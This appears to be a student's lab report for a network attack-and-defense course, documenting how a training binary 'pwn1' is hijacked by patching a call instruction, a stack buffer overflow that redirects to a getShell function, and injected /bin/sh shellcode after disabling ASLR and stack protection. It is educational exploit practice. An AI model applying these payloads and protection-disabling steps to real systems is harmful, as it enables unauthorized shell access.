# 20212935 2021-2022-2 《网络攻防实践》实践九报告

1.实践目的

(1)本次实践的对象是一个名为pwn1的linux可执行文件。
(2)该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
(3)该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践要求

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(2)掌握反汇编与十六进制编程器
(3)能正确修改机器指令改变程序执行流程
(4)能正确构造payload进行bof攻击

3.实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

4.实践过程

4.1 修改可执行文件,改变程序执行流程:

(1)使用objdump -d pwn1 | more 命令打开pwn1文件,反汇编查看。可以看到其中“call 8048491”是汇编指令,是说这条指令将调用位于地址8048491处的foo函数,对应的机器指令为”e8 4dffffff”,e8即跳转的意思。

(2)主函数call了一个foo函数,对应机器指令为”e8 d7ffffff”。需将”e8 d7ffffff”修改为”getshall-80484ba”对应的补码,来调用getshall。47d-4ba算出是c3ffffff,那么将此文件的call指令的d7ffffff改为c3ffffff即可。
使用cp pwn1 pwn2命令复制到新的文件pwn2,使用vi pwn2命令,进入vi内,依次进行如下操作:
①按ESC键
②“:%! xxd”将显示模式切换为16进制
③“/d7”找到要修改的内容如下,确保找到的这个地方是正确的

④i键进入相同的编辑模式,将d7改为c3
⑤“:%! xxd -r”将十六进制改为原格式

⑥“:wq”存盘退出。
(3)“ls”、“ls -l”分别查看目录下的文件及其详细信息。

(4)检查是否修改完成:

①pwn1与pwn2的main处分别如下:

②kali下运行pwn1文件,输入任意字符串,会给回显出,而运行pwn2文件,会出现shell:

4.2 BOF改变指令流:

(1)使用gdb pwn1命令,输入字符串,查看哪几个字符会覆盖到返回地址:

换个字符串再次确认:

如果输入字符串1111111122222222333333334444444412345678,那1234会覆盖到堆栈上的返回地址,从而CPU会尝试运行这个位置的代码。那么把这4个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell。
(2)确认用什么值来覆盖返回地址:
通过输入以下命令,将得到的与之前eip 0x34333231 0x34333231对比,确认应输入11111111222222223333333344444444\x7d\x84\x04\x08

(3)构造输入字符串:
①使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令,先生成包含\x7d\x84\x04\x08\字符串的文件:

②验证是否生成,

③使用(cat input; cat) | ./pwn1将文件内容给到pwn1,

4.3 注入shellcode并执行:

(1)准备一段shellcode(一段机器指令):本次实践使用如下生成的指令为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。
(2)准备工作:
①kali中root权限下使用apt-get install prelink命令安装prelink,然后升级:

②修改设置,依次使用以下命令:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

(3)构造要注入的payload
①采用的方法是retaddr+nop+shellcode,也就是将shellode放到缓冲区后边的位置。
②输入命令行perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,返回地址在33-36个字节处。然后使用(cat input_shellcode;cat) | ./pwn1命令将这段字符作为pwn1的输入:

③打开另一个终端,用gdb来调试pwn1这个进程, 使用使用ps -ef | grep pwn1命令找到对应的进程号为136829:

④启动gdb,使用attach 116829命令调试这个进程,通过disassemble foo命令设置断点来查看注入buf的内存地址,通过break *0x80484ae命令设置断点后继续运行。

⑤回到上一个终端按个回车后再返回此处继续操作,使用info r命令查看当前寄存器ESP的值为0xffffd52c.

⑥使用x/16 0xffffd52c命令查看到当前栈顶的值为0x01020304,再往前使用x/16 0xffffd4fc找到我们的shellcode,为0x90909090

⑦将返回地址由0xffffd52c改为0xffffd530,使用此命令:
perl -e 'print "A" x 32;print "\x30\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode,然后运行(cat input_shellcode; cat) | ./pwn1命令,得到shell:

5.实验中遇到的问题及解决方法

(1)①问题:第一个实验验证修改是否完成时,运行文件时发现提示无权限

②解决方法:使用chomd命令赋予权限

(2)①问题:第3个实验时无法安装prelink
②解决方法:换源:
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

6.实验感想

通过这一次内容丰富的实验,我对缓冲区溢出和shellcode有了更深的认识,掌握了某些汇编指令的机器码。

posted @ 2022-05-10 21:00  dou嘚嘚嘚  阅读(82)  评论(0编辑  收藏  举报